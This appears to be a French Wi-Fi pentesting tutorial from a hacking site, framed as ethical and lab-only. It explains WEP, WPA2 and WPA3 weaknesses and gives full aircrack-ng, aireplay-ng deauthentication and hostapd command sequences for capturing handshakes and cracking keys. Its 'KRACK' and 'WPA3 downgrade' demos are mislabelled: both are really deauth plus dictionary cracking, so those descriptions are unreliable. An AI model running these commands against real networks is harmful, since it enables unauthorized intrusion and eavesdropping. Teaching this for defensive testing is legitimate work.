⚖️ Charte Éthique Apache

1️⃣ Introduction 🧨

Yo, Apaches ! 😎 Dans ce tuto, on infiltre les sentiers radio du Wi-Fi avec *Apache Wi-Fi Storm 2025*. On décortique son fonctionnement, ses sécurités (WEP, WPA2, WPA3), ses failles, et on lance des attaques éthiques dans un lab sécurisé. On apprend pour protéger, pas pour nuire ! 💥

• Objectifs :
  • Comprendre le Wi-Fi (802.11, protocoles).
  • Analyser les sécurités (WEP, WPA2, WPA3).
  • Exploiter les failles (WEP crack, KRACK, Dragonblood).
  • Démo : Attaques sur réseaux lab (Docker Kali).
• Raison : Former les nomades à sécuriser les réseaux sans fil! 😈
• Contexte : Un tuto gratuit pour les Apaches, forgé par Platon-y pour pctamalou.fr. 🌩️

2️⃣ Qu’est-ce que le Wi-Fi ? 📡

👉 Le Wi-Fi, c’est un sentier radio (norme 802.11) qui relie les appareils via des ondes. Il fonctionne en couches :

• Physique : Ondes radio (2.4 GHz, 5 GHz) pour transmettre des données.
• Liaison : Protocoles (802.11a/b/g/n/ac/ax) pour gérer les paquets.
• Authentification : Handshake (WEP, WPA2, WPA3) pour sécuriser.

+---------+     Ondes 2.4/5 GHz     +--------------+
| Client  |------------------------>| Point d’Accès |
+---------+                         +--------------+
                                       |
                                       | Handshake
                                       v
                                    +--------------+
                                    | Clé partagée |
                                    +--------------+
                                       |
                                       | Chiffrement
                                       v
                                    +--------------+
                                    | Réseau sécurisé |
                                    +--------------+
        

3️⃣ Sécurités Wi-Fi 🛡️

👉 Les boucliers du Wi-Fi protègent les sentiers radio :

• WEP : Chiffrement RC4, clés statiques (64/128 bits). Obsolète, cracké en quelques minutes.
• WPA2 : AES-CCMP, handshake 4 voies (PMK, PTK). Solide, mais vulnérable à KRACK.
• WPA3 : SAE (Dragonfly), anti-downgrade. Plus sûr, mais attaquable via Dragonblood.

4️⃣ Failles Wi-Fi ⚔️

👉 Chaque bouclier Wi-Fi a ses fissures :

• WEP : Faiblesse RC4, IVs prévisibles. Cracké avec Aircrack-ng en capturant 10 000 IVs.
• WPA2 (KRACK) : Réinstallation de clés dans le handshake 4 voies, permettant de déchiffrer le trafic.
• WPA3 (Dragonblood) : Vulns dans Dragonfly handshake, downgrade vers WPA2 possible.

+-----+     IVs faibles     +----------+
| WEP |------------------->| Crack RC4 |
+-----+                    +----------+

+------+     KRACK     +-----------------+
| WPA2 |-------------->| Réinstallation PTK |
+------+               +-----------------+

+------+     Dragonblood     +---------------+
| WPA3 |-------------------->| Downgrade WPA2 |
+------+                     +---------------+
        

5️⃣ Démo : Attaques sur WEP, WPA2, WPA3 🛠️

👉 On infiltre trois réseaux en lab (Docker Kali) : WEP, WPA2, WPA3. LAB-ONLY !

Setup Lab

#!/bin/bash
# Sur Kali (Docker)
docker pull pctamalou/wifi-hack
docker run -it --rm --net=host --privileged pctamalou/wifi-hack
# Installer outils
apt update && apt install -y aircrack-ng hostapd hashcat
# Vérif interface Wi-Fi
iwconfig  # wlan0 doit apparaître
# Snapshot VM cible
# Config réseau isolé (NAT Network)
ufw disable
        

Attaque WEP

#!/bin/bash
# Mettre wlan0 en mode monitor
airmon-ng start wlan0
# Scanner réseaux
airodump-ng wlan0mon
# Capter IVs (remplace ESSID par le réseau cible)
airodump-ng --bssid 00:14:22:33:44:55 --channel 6 --write wep_capture wlan0mon
# Accélérer avec deauth
aireplay-ng --deauth 10 -a 00:14:22:33:44:55 wlan0mon
# Cracker WEP
aircrack-ng wep_capture-01.cap
        

Attaque WPA2 (KRACK)

#!/bin/bash
# Config hostapd pour simuler un AP malveillant
cat << EOF > hostapd.conf
interface=wlan0mon
driver=nl80211
ssid=TestAP
hw_mode=g
channel=6
wpa=2
wpa_passphrase=secret123
wpa_key_mgmt=WPA-PSK
wpa_pairwise=CCMP
EOF
hostapd hostapd.conf &
# Capturer handshake
airodump-ng --bssid 00:14:22:33:44:55 --channel 6 --write wpa2_capture wlan0mon
# Forcer deauth
aireplay-ng --deauth 10 -a 00:14:22:33:44:55 wlan0mon
# Cracker avec dictionnaire
aircrack-ng wpa2_capture-01.cap -w /usr/share/wordlists/rockyou.txt
        

Attaque WPA3 (Downgrade)

#!/bin/bash
# Simuler AP WPA3
cat << EOF > hostapd.conf
interface=wlan0mon
driver=nl80211
ssid=TestWPA3
hw_mode=g
channel=6
wpa=2
wpa_passphrase=secret123
wpa_key_mgmt=SAE
ieee80211w=2
EOF
hostapd hostapd.conf &
# Forcer downgrade WPA2
aireplay-ng --deauth 10 -a 00:14:22:33:44:55 wlan0mon
# Capturer handshake WPA2
airodump-ng --bssid 00:14:22:33:44:55 --channel 6 --write wpa3_capture wlan0mon
aircrack-ng wpa3_capture-01.cap -w /usr/share/wordlists/rockyou.txt
        

Dépannage

6️⃣ Best Practices Pro 💼

👉 Conseils pour un pentest Wi-Fi corporate, façon Apache :

• Reporting Pro : Documente chaque faille avec nmap -oX report.xml + preuves (screenshots, logs).
• Outil Enterprise : Utilise Wireshark pour des captures réseau auditables.
• Respect RGPD : Anonymise les MAC addresses dans tes rapports (macchanger -r wlan0).

7️⃣ Sécurité & Éthique 🛡️

• Risques : Interférences réseau, détection par AP, poursuites pénales (article 323-1 CP).
• Précautions :
  • Snapshot avant chaque attaque.
  • Réseau isolé (NAT Network, firewall off).
  • Docker Kali avec --privileged.
  • Ne jamais cibler de vrais réseaux.
• Légal : Intrusion Wi-Fi = 7 ans prison, 100 000 € amende. Lab éthique uniquement !

Cadre Légal

Éthique Apache : Comme NarcoShield, on hacke pour protéger. Rapportez les failles aux vendors, façon LPT Master ! 🌍

8️⃣ Bonus : Hack the Planet 🎮

Yo, Apache ! Tape des commandes Wi-Fi pour faire tourner le globe radio ! 📡

🌍 Hack the Planet! 🌍

9️⃣ Conclusion 🏁

Yo, Apaches ! 🎉 T’as dompté *Wi-Fi Storm 2025* – pour sécuriser les sentiers radio en lab ! 💖🚀

Rejoins-nous : admin@pctamalou.fr ! 😄

🔟 FAQ ❓